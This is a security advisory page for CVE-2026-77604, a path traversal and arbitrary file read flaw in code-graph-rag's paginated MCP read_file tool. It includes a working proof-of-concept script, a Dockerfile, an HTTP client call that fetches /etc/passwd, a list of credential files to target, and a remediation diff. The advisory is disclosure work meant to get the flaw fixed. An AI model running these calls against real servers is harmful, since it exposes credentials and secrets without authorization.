GHSA-VVR2-H2JP-838M

Vulnerability from github – Published: 2026-11-09 21:21 – Updated: 2026-11-09 21:21
VLAI
Summary
Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read
Details

Summary

The read_file MCP tool in codebase_rag/mcp/tools.py contains a path traversal vulnerability in its paginated branch (when offset or limit is supplied). The handler constructs a file path using Path(self.project_root) / file_path without subsequently validating that the resolved path remains within the configured project root. Python's pathlib silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as /etc/passwd.

Details

Vulnerable location: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)

The read_file MCP tool accepts three parameters: file_path, offset, and limit. When either offset or limit is present the handler takes a distinct code path:

# codebase_rag/mcp/tools.py:556-565
async def read_file(
    self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
    logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
    try:
        if offset is not None or limit is not None:
            full_path = Path(self.project_root) / file_path   # ← VULNERABLE LINE
            start = offset if offset is not None else 0

            with open(full_path, encoding=cs.ENCODING_UTF8) as f:   # ← SINK

Because pathlib.Path.__truediv__ replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., /etc/passwd, /proc/self/environ) causes full_path to point outside the project root.

The non-paginated branch is protected by the @validate_project_path decorator (applied via codebase_rag/tools/file_reader.py:27) which performs .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.

Full data-flow (source → sink):

  1. codebase_rag/config.py:302 — HTTP MCP default host is 0.0.0.0.
  2. codebase_rag/cli.py:717 — CLI exposes mcp-server.
  3. codebase_rag/cli.py:726–731 — --transport http invokes serve_http(host=resolved_host, port=resolved_port).
  4. codebase_rag/mcp/server.py:208–210 — Starlette mounts the MCP HTTP endpoint.
  5. codebase_rag/mcp/tools.py:227–249 — read_file is registered as an MCP tool accepting attacker-controlled file_path, offset, and limit.
  6. codebase_rag/mcp/server.py:113–127 — call_tool dispatches JSON arguments directly to the handler via await handler(**arguments).
  7. codebase_rag/mcp/tools.py:561–565 — paginated branch builds full_path and calls open(full_path) without any boundary check.

The vulnerability is also present when using the stdio transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.

PoC

Prerequisites:

  • Docker installed.
  • Repository cloned with the vuln-001/ artifacts present (Dockerfile, poc.py).

Build and run:

# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc

The Dockerfile installs the codebase_rag package from the local repository source, creates a "safe" project root at /tmp/safe-project-root, and runs poc.py.

What the PoC does (poc.py):

  1. Pre-mocks the mgclient / pymgclient native C extensions (Memgraph client) so the package imports without a live database.
  2. Instantiates MCPToolsRegistry via object.__new__(), setting only self.project_root = "/tmp/safe-project-root" — matching what the real server does.
  3. Demonstrates the pathlib bypass: Path("/tmp/safe-project-root") / "/etc/hosts" resolves to Path("/etc/hosts").
  4. Calls registry.read_file("/etc/hosts", offset=0, limit=5) — the actual vulnerable method from the installed package.
  5. Asserts that real /etc/hosts content is returned, confirming full boundary bypass.

Expected output:

[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::  ip6-localnet
ff00::  ip6-mcastprefix
ff02::1 ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal

Equivalent HTTP transport attack (when server is running):

python3 - <<'PY'
import anyio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            result = await session.call_tool(
                "read_file",
                {"file_path": "/etc/passwd", "offset": 0, "limit": 10},
            )
            print(result.content[0].text)

anyio.run(main)
PY

Remediation:

--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
     async def read_file(
         self, file_path: str, offset: int | None = None, limit: int | None = None
     ) -> str:
         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
         try:
             if offset is not None or limit is not None:
-                full_path = Path(self.project_root) / file_path
+                project_root = Path(self.project_root).resolve()
+                try:
+                    full_path = (project_root / file_path).resolve()
+                    full_path.relative_to(project_root)
+                except (ValueError, RuntimeError):
+                    return te.ERROR_WRAPPER.format(
+                        message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+                    )
                 start = offset if offset is not None else 0

                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:

Impact

This is a path traversal / arbitrary file read vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.

An unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running cgr mcp-server. Exploitable targets include:

  • /etc/passwd, /etc/shadow — credential disclosure.
  • Application secrets, API keys, .env files, or private keys stored anywhere on the host.
  • Source code or configuration outside the intended project repository.
  • Cloud instance metadata endpoints reachable via the local file path (e.g., /proc/self/environ for environment variable leakage).

The vulnerability is particularly severe because the HTTP transport binds to 0.0.0.0:8080 by default (codebase_rag/config.py:302), exposing the server to the network without any authentication requirement in the default configuration.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

# Install build tools needed for some dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
        gcc build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable repository source
COPY repo/ /app/repo/

# Install pure-Python dependencies (pymgclient is a native Memgraph client that
# requires a live Memgraph instance; we mock it in the PoC script instead)
RUN pip install --upgrade pip --quiet && \
    pip install --quiet \
        loguru \
        "mcp>=1.25.0" \
        "pydantic-ai>=1.102.0" \
        "pydantic-settings>=2.12.0" \
        "python-dotenv>=1.2.1" \
        "tiktoken>=0.12.0" \
        "toml>=0.10.2" \
        "tree-sitter==0.25.2" \
        "tree-sitter-python>=0.25.0" \
        "watchdog>=6.0.0" \
        "typer>=0.21.1" \
        "rich>=14.2.0" \
        "prompt-toolkit>=3.0.52" \
        "diff-match-patch>=20241021" \
        "click>=8.3.1" \
        "protobuf>=6.33.5" \
        "defusedxml>=0.7.1" \
        "huggingface-hub>=1.7.2" \
        "pathspec>=1.0.4" \
        "griffe>=1.0,<2" \
        httpx \
        anyio

# Install the codebase_rag package from the cloned repo.
# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;
# all other runtime deps were already installed above.
RUN pip install --no-deps --quiet -e /app/repo/

# Create the "safe" project root that the victim server would normally restrict to
RUN mkdir -p /tmp/safe-project-root && \
    echo "# This is a safe project file" > /tmp/safe-project-root/README.md

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version    : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)

Vulnerable code location:
    codebase_rag/mcp/tools.py  lines 561-565 (MCPToolsRegistry.read_file)

Root cause:
    When 'offset' or 'limit' is provided, the method builds the path as:
        full_path = Path(self.project_root) / file_path          # line 562
    Python's pathlib discards 'project_root' when 'file_path' is an absolute path.
    The non-paginated branch is protected by @validate_project_path, but this branch
    has no such guard, so any absolute path is opened unconditionally.

Attack path (HTTP transport):
    MCP client  ->  POST /mcp  ->  call_tool("read_file", {"file_path": "/etc/hosts",
                                               "offset": 0, "limit": 5})
    -> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5)
    -> full_path = Path("/safe/root") / "/etc/hosts"  ==>  Path("/etc/hosts")
    -> open("/etc/hosts")  # no boundary check, file content returned

This PoC exercises the actual MCPToolsRegistry.read_file() method from the
installed package.  The Memgraph client (mgclient) is pre-mocked in sys.modules
because it is a native C extension that requires a live database; it is NOT used
by the vulnerable code path.  The MCPToolsRegistry instance is created via
object.__new__() to skip the __init__ that would connect to Memgraph -- the
paginated read_file branch only reads self.project_root, nothing else.
"""

import asyncio
import sys
from pathlib import Path
from unittest.mock import MagicMock

# ---------------------------------------------------------------------------
# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path
# ---------------------------------------------------------------------------
# mgclient is a C extension (Memgraph client).  It is imported at the top of
# codebase_rag/services/graph_service.py.  Inserting a MagicMock lets the
# module import succeed without a native library or a live Memgraph server.
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()

# ---------------------------------------------------------------------------
# Step 2: Import the vulnerable class from the installed package
# ---------------------------------------------------------------------------
print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...")
try:
    from codebase_rag.mcp.tools import MCPToolsRegistry
except Exception as exc:
    print(f"[!] Import failed: {exc}")
    sys.exit(2)
print("[+] Import successful\n")

# ---------------------------------------------------------------------------
# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)
# ---------------------------------------------------------------------------
# __init__ connects to Memgraph and Qdrant -- neither is available here.
# The paginated read_file branch uses ONLY self.project_root, so setting
# just that attribute is sufficient to reproduce the vulnerability.
SAFE_ROOT = "/tmp/safe-project-root"

registry = object.__new__(MCPToolsRegistry)
registry.project_root = SAFE_ROOT

print(f"[*] MCPToolsRegistry instance created via object.__new__()")
print(f"[*] project_root = {SAFE_ROOT!r}")
print()

# ---------------------------------------------------------------------------
# Step 4: Demonstrate the pathlib absolute-path bypass
# ---------------------------------------------------------------------------
ATTACK_PATH = "/etc/hosts"

joined = Path(SAFE_ROOT) / ATTACK_PATH
print("[*] Pathlib join behaviour (the root cause):")
print(f"    Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}")
print(f"    => {joined}")
print(f"    Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}")

assert str(joined) == ATTACK_PATH, (
    f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}"
)
print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n")

# ---------------------------------------------------------------------------
# Step 5: Call the actual vulnerable method
# ---------------------------------------------------------------------------
print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)")
print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path")
print(f"[*] Resulting full_path       = {joined}")
print()


async def run_poc() -> str:
    return await registry.read_file(ATTACK_PATH, offset=0, limit=5)


result = asyncio.run(run_poc())

print("[+] read_file() returned:")
print("-" * 60)
print(result)
print("-" * 60)
print()

# ---------------------------------------------------------------------------
# Step 6: Validate the output contains real /etc/hosts content
# ---------------------------------------------------------------------------
with open(ATTACK_PATH) as fh:
    actual_hosts = fh.read()

# Accept any of: pagination header, loopback address, or raw /etc/hosts lines
confirmed = (
    "Lines " in result                             # pagination header present
    or "127.0.0.1" in result                       # standard loopback entry
    or "localhost" in result                        # standard hostname entry
    or "::1" in result                             # IPv6 loopback
    or any(
        line.strip() in result
        for line in actual_hosts.splitlines()
        if line.strip() and not line.startswith("#")
    )
)

if confirmed:
    print("[+] EXPLOIT SUCCESSFUL")
    print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal")
    print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed")
    print()
    print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal")
    sys.exit(0)
else:
    print("[-] Validation failed -- could not find /etc/hosts content in result")
    print(f"[-] Returned value: {result!r}")
    sys.exit(1)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "code-graph-rag"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.345"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T21:21:32Z",
    "nvd_published_at": "2026-11-05T20:18:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `read_file` MCP tool in `codebase_rag/mcp/tools.py` contains a path traversal vulnerability in its paginated branch (when `offset` or `limit` is supplied). The handler constructs a file path using `Path(self.project_root) / file_path` without subsequently validating that the resolved path remains within the configured project root. Python\u0027s `pathlib` silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as `/etc/passwd`. \n\n### Details\n\n**Vulnerable location:** `codebase_rag/mcp/tools.py:556\u2013565` (`MCPToolsRegistry.read_file`)\n\nThe `read_file` MCP tool accepts three parameters: `file_path`, `offset`, and `limit`. When either `offset` or `limit` is present the handler takes a distinct code path:\n\n```python\n# codebase_rag/mcp/tools.py:556-565\nasync def read_file(\n    self, file_path: str, offset: int | None = None, limit: int | None = None\n) -\u003e str:\n    logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n    try:\n        if offset is not None or limit is not None:\n            full_path = Path(self.project_root) / file_path   # \u2190 VULNERABLE LINE\n            start = offset if offset is not None else 0\n\n            with open(full_path, encoding=cs.ENCODING_UTF8) as f:   # \u2190 SINK\n```\n\nBecause `pathlib.Path.__truediv__` replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., `/etc/passwd`, `/proc/self/environ`) causes `full_path` to point outside the project root.\n\nThe **non-paginated** branch is protected by the `@validate_project_path` decorator (applied via `codebase_rag/tools/file_reader.py:27`) which performs `.resolve().relative_to(project_root)` (`codebase_rag/decorators.py:73\u201375`), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.\n\n**Full data-flow (source \u2192 sink):**\n\n1. `codebase_rag/config.py:302` \u2014 HTTP MCP default host is `0.0.0.0`.\n2. `codebase_rag/cli.py:717` \u2014 CLI exposes `mcp-server`.\n3. `codebase_rag/cli.py:726\u2013731` \u2014 `--transport http` invokes `serve_http(host=resolved_host, port=resolved_port)`.\n4. `codebase_rag/mcp/server.py:208\u2013210` \u2014 Starlette mounts the MCP HTTP endpoint.\n5. `codebase_rag/mcp/tools.py:227\u2013249` \u2014 `read_file` is registered as an MCP tool accepting attacker-controlled `file_path`, `offset`, and `limit`.\n6. `codebase_rag/mcp/server.py:113\u2013127` \u2014 `call_tool` dispatches JSON arguments directly to the handler via `await handler(**arguments)`.\n7. `codebase_rag/mcp/tools.py:561\u2013565` \u2014 paginated branch builds `full_path` and calls `open(full_path)` without any boundary check.\n\nThe vulnerability is also present when using the `stdio` transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed.\n- Repository cloned with the `vuln-001/` artifacts present (Dockerfile, poc.py).\n\n**Build and run:**\n\n```bash\n# From the repository root (parent of vuln-001/)\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\ndocker run --rm vuln001-poc\n```\n\nThe Dockerfile installs the `codebase_rag` package from the local repository source, creates a \"safe\" project root at `/tmp/safe-project-root`, and runs `poc.py`.\n\n**What the PoC does (`poc.py`):**\n\n1. Pre-mocks the `mgclient` / `pymgclient` native C extensions (Memgraph client) so the package imports without a live database.\n2. Instantiates `MCPToolsRegistry` via `object.__new__()`, setting only `self.project_root = \"/tmp/safe-project-root\"` \u2014 matching what the real server does.\n3. Demonstrates the pathlib bypass: `Path(\"/tmp/safe-project-root\") / \"/etc/hosts\"` resolves to `Path(\"/etc/hosts\")`.\n4. Calls `registry.read_file(\"/etc/hosts\", offset=0, limit=5)` \u2014 the actual vulnerable method from the installed package.\n5. Asserts that real `/etc/hosts` content is returned, confirming full boundary bypass.\n\n**Expected output:**\n\n```\n[MCP] read_file: /etc/hosts (offset=0, limit=5)\n[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n[+] read_file() returned:\n# Lines 1-5 of 7\n127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::\tip6-localnet\nff00::\tip6-mcastprefix\nff02::1\tip6-allnodes\n[+] EXPLOIT SUCCESSFUL\n[+] Content of \u0027/etc/hosts\u0027 exfiltrated via path traversal\n[+] Project root boundary \u0027/tmp/safe-project-root\u0027 was completely bypassed\n[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\n```\n\n**Equivalent HTTP transport attack (when server is running):**\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport anyio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n    async with streamablehttp_client(\"http://127.0.0.1:8080/mcp\") as (read, write, _):\n        async with ClientSession(read, write) as session:\n            await session.initialize()\n            result = await session.call_tool(\n                \"read_file\",\n                {\"file_path\": \"/etc/passwd\", \"offset\": 0, \"limit\": 10},\n            )\n            print(result.content[0].text)\n\nanyio.run(main)\nPY\n```\n\n**Remediation:**\n\n```diff\n--- a/codebase_rag/mcp/tools.py\n+++ b/codebase_rag/mcp/tools.py\n@@\n     async def read_file(\n         self, file_path: str, offset: int | None = None, limit: int | None = None\n     ) -\u003e str:\n         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))\n         try:\n             if offset is not None or limit is not None:\n-                full_path = Path(self.project_root) / file_path\n+                project_root = Path(self.project_root).resolve()\n+                try:\n+                    full_path = (project_root / file_path).resolve()\n+                    full_path.relative_to(project_root)\n+                except (ValueError, RuntimeError):\n+                    return te.ERROR_WRAPPER.format(\n+                        message=lg.FILE_OUTSIDE_ROOT.format(action=\"access\")\n+                    )\n                 start = offset if offset is not None else 0\n\n                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration.\n\nAn unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running `cgr mcp-server`. Exploitable targets include:\n\n- `/etc/passwd`, `/etc/shadow` \u2014 credential disclosure.\n- Application secrets, API keys, `.env` files, or private keys stored anywhere on the host.\n- Source code or configuration outside the intended project repository.\n- Cloud instance metadata endpoints reachable via the local file path (e.g., `/proc/self/environ` for environment variable leakage).\n\nThe vulnerability is particularly severe because the HTTP transport binds to `0.0.0.0:8080` by default (`codebase_rag/config.py:302`), exposing the server to the network without any authentication requirement in the default configuration.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build tools needed for some dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        gcc build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable repository source\nCOPY repo/ /app/repo/\n\n# Install pure-Python dependencies (pymgclient is a native Memgraph client that\n# requires a live Memgraph instance; we mock it in the PoC script instead)\nRUN pip install --upgrade pip --quiet \u0026\u0026 \\\n    pip install --quiet \\\n        loguru \\\n        \"mcp\u003e=1.25.0\" \\\n        \"pydantic-ai\u003e=1.102.0\" \\\n        \"pydantic-settings\u003e=2.12.0\" \\\n        \"python-dotenv\u003e=1.2.1\" \\\n        \"tiktoken\u003e=0.12.0\" \\\n        \"toml\u003e=0.10.2\" \\\n        \"tree-sitter==0.25.2\" \\\n        \"tree-sitter-python\u003e=0.25.0\" \\\n        \"watchdog\u003e=6.0.0\" \\\n        \"typer\u003e=0.21.1\" \\\n        \"rich\u003e=14.2.0\" \\\n        \"prompt-toolkit\u003e=3.0.52\" \\\n        \"diff-match-patch\u003e=20241021\" \\\n        \"click\u003e=8.3.1\" \\\n        \"protobuf\u003e=6.33.5\" \\\n        \"defusedxml\u003e=0.7.1\" \\\n        \"huggingface-hub\u003e=1.7.2\" \\\n        \"pathspec\u003e=1.0.4\" \\\n        \"griffe\u003e=1.0,\u003c2\" \\\n        httpx \\\n        anyio\n\n# Install the codebase_rag package from the cloned repo.\n# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;\n# all other runtime deps were already installed above.\nRUN pip install --no-deps --quiet -e /app/repo/\n\n# Create the \"safe\" project root that the victim server would normally restrict to\nRUN mkdir -p /tmp/safe-project-root \u0026\u0026 \\\n    echo \"# This is a safe project file\" \u003e /tmp/safe-project-root/README.md\n\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read\n=============================================================================\nRepository : vitali87/code-graph-rag\nVersion    : \u003c= 0.0.343 (unpatched at HEAD commit f5d6bfd)\n\nVulnerable code location:\n    codebase_rag/mcp/tools.py  lines 561-565 (MCPToolsRegistry.read_file)\n\nRoot cause:\n    When \u0027offset\u0027 or \u0027limit\u0027 is provided, the method builds the path as:\n        full_path = Path(self.project_root) / file_path          # line 562\n    Python\u0027s pathlib discards \u0027project_root\u0027 when \u0027file_path\u0027 is an absolute path.\n    The non-paginated branch is protected by @validate_project_path, but this branch\n    has no such guard, so any absolute path is opened unconditionally.\n\nAttack path (HTTP transport):\n    MCP client  -\u003e  POST /mcp  -\u003e  call_tool(\"read_file\", {\"file_path\": \"/etc/hosts\",\n                                               \"offset\": 0, \"limit\": 5})\n    -\u003e MCPToolsRegistry.read_file(\"/etc/hosts\", offset=0, limit=5)\n    -\u003e full_path = Path(\"/safe/root\") / \"/etc/hosts\"  ==\u003e  Path(\"/etc/hosts\")\n    -\u003e open(\"/etc/hosts\")  # no boundary check, file content returned\n\nThis PoC exercises the actual MCPToolsRegistry.read_file() method from the\ninstalled package.  The Memgraph client (mgclient) is pre-mocked in sys.modules\nbecause it is a native C extension that requires a live database; it is NOT used\nby the vulnerable code path.  The MCPToolsRegistry instance is created via\nobject.__new__() to skip the __init__ that would connect to Memgraph -- the\npaginated read_file branch only reads self.project_root, nothing else.\n\"\"\"\n\nimport asyncio\nimport sys\nfrom pathlib import Path\nfrom unittest.mock import MagicMock\n\n# ---------------------------------------------------------------------------\n# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path\n# ---------------------------------------------------------------------------\n# mgclient is a C extension (Memgraph client).  It is imported at the top of\n# codebase_rag/services/graph_service.py.  Inserting a MagicMock lets the\n# module import succeed without a native library or a live Memgraph server.\nsys.modules[\"mgclient\"] = MagicMock()\nsys.modules[\"pymgclient\"] = MagicMock()\n\n# ---------------------------------------------------------------------------\n# Step 2: Import the vulnerable class from the installed package\n# ---------------------------------------------------------------------------\nprint(\"[*] Importing MCPToolsRegistry from installed codebase_rag package ...\")\ntry:\n    from codebase_rag.mcp.tools import MCPToolsRegistry\nexcept Exception as exc:\n    print(f\"[!] Import failed: {exc}\")\n    sys.exit(2)\nprint(\"[+] Import successful\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)\n# ---------------------------------------------------------------------------\n# __init__ connects to Memgraph and Qdrant -- neither is available here.\n# The paginated read_file branch uses ONLY self.project_root, so setting\n# just that attribute is sufficient to reproduce the vulnerability.\nSAFE_ROOT = \"/tmp/safe-project-root\"\n\nregistry = object.__new__(MCPToolsRegistry)\nregistry.project_root = SAFE_ROOT\n\nprint(f\"[*] MCPToolsRegistry instance created via object.__new__()\")\nprint(f\"[*] project_root = {SAFE_ROOT!r}\")\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 4: Demonstrate the pathlib absolute-path bypass\n# ---------------------------------------------------------------------------\nATTACK_PATH = \"/etc/hosts\"\n\njoined = Path(SAFE_ROOT) / ATTACK_PATH\nprint(\"[*] Pathlib join behaviour (the root cause):\")\nprint(f\"    Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}\")\nprint(f\"    =\u003e {joined}\")\nprint(f\"    Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}\")\n\nassert str(joined) == ATTACK_PATH, (\n    f\"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}\"\n)\nprint(\"[+] CONFIRMED: pathlib discards project_root when file_path is absolute\\n\")\n\n# ---------------------------------------------------------------------------\n# Step 5: Call the actual vulnerable method\n# ---------------------------------------------------------------------------\nprint(f\"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)\")\nprint(f\"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path\")\nprint(f\"[*] Resulting full_path       = {joined}\")\nprint()\n\n\nasync def run_poc() -\u003e str:\n    return await registry.read_file(ATTACK_PATH, offset=0, limit=5)\n\n\nresult = asyncio.run(run_poc())\n\nprint(\"[+] read_file() returned:\")\nprint(\"-\" * 60)\nprint(result)\nprint(\"-\" * 60)\nprint()\n\n# ---------------------------------------------------------------------------\n# Step 6: Validate the output contains real /etc/hosts content\n# ---------------------------------------------------------------------------\nwith open(ATTACK_PATH) as fh:\n    actual_hosts = fh.read()\n\n# Accept any of: pagination header, loopback address, or raw /etc/hosts lines\nconfirmed = (\n    \"Lines \" in result                             # pagination header present\n    or \"127.0.0.1\" in result                       # standard loopback entry\n    or \"localhost\" in result                        # standard hostname entry\n    or \"::1\" in result                             # IPv6 loopback\n    or any(\n        line.strip() in result\n        for line in actual_hosts.splitlines()\n        if line.strip() and not line.startswith(\"#\")\n    )\n)\n\nif confirmed:\n    print(\"[+] EXPLOIT SUCCESSFUL\")\n    print(f\"[+] Content of \u0027{ATTACK_PATH}\u0027 exfiltrated via path traversal\")\n    print(f\"[+] Project root boundary \u0027{SAFE_ROOT}\u0027 was completely bypassed\")\n    print()\n    print(\"[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal\")\n    sys.exit(0)\nelse:\n    print(\"[-] Validation failed -- could not find /etc/hosts content in result\")\n    print(f\"[-] Returned value: {result!r}\")\n    sys.exit(1)\n```",
  "id": "GHSA-vvr2-h2jp-838m",
  "modified": "2026-11-09T21:21:32Z",
  "published": "2026-11-09T21:21:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitali87/code-graph-rag/security/advisories/GHSA-vvr2-h2jp-838m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitali87/code-graph-rag/commit/6541e920a27961fa8f3ff49ef38c0e0bd09cd626"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitali87/code-graph-rag"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitali87/code-graph-rag/releases/tag/v0.0.345"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.